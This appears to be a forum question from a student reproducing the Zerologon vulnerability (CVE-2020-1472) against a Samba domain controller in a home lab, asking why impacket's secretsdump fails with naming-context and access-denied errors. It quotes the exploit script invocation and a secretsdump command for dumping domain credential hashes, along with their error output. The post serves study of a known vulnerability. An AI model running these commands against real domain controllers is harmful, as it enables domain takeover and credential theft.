Error with the Zerologon POC on Samba AC DC

2.4k Views Asked by At

I have a school projet that require me to emulate the CVE-2020-1472 (Zerologon) on a local environment. I am currently trying to test following github script but I am facing some issue that I haven't been able to solve since then.

To sumerize, I have a :

  • Ubuntu 16.04 machine with Samba 4.3.8 Domain Controller Active Directory
  • Windows Server 2019 that joined the domain EXAMPLE.COM that I created with Samba.

I've made several test and I can succesfully modify the password of the "Administrator" account with first part of the POC : ./cve-2020-1472-exploit.py -n EXAMPLE-DC -t 1.2.3.4

Problem comes when trying to run impacket to extract some data from the domain :

secretsdump.py -no-pass -just-dc Domain/'DC_NETBIOS_NAME$'@DC_IP_ADDR

It sucesfully log in but then I get this message :

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[-] DRSR SessionError: code: 0x20e4 - ERROR_DS_CANT_FIND_EXPECTED_NC - The naming context could not be found.
[*] Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*] Cleaning up...

UPDATE 1 : I also tried to use the -use-vss option but it also fails after login in.

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Searching for NTDS.dit
[-] 'NoneType' object has no attribute 'request'
[*] Cleaning up...

I tried to get some information about the DRSR SessionError: code: 0x20e4 - ERROR_DS_CANT_FIND_EXPECTED_NC but I didn't found any usefull informations on internet.. I hope someone have already faced this error or have knowledge regarding Active Directory because I'm really stuck

Thanks in advance and have a good week !

UPDATE 2:

I made a post on impacket's github and it seems like the DRSUAPI approach hasn't been tested against a non Windows AD before. So secretsdump wont works.

Every page mentioned SAMBA as vulnerable so I wonder if they really tested to exploit the vulnerability or if it was just a theoretical assumption.

0

There are 0 best solutions below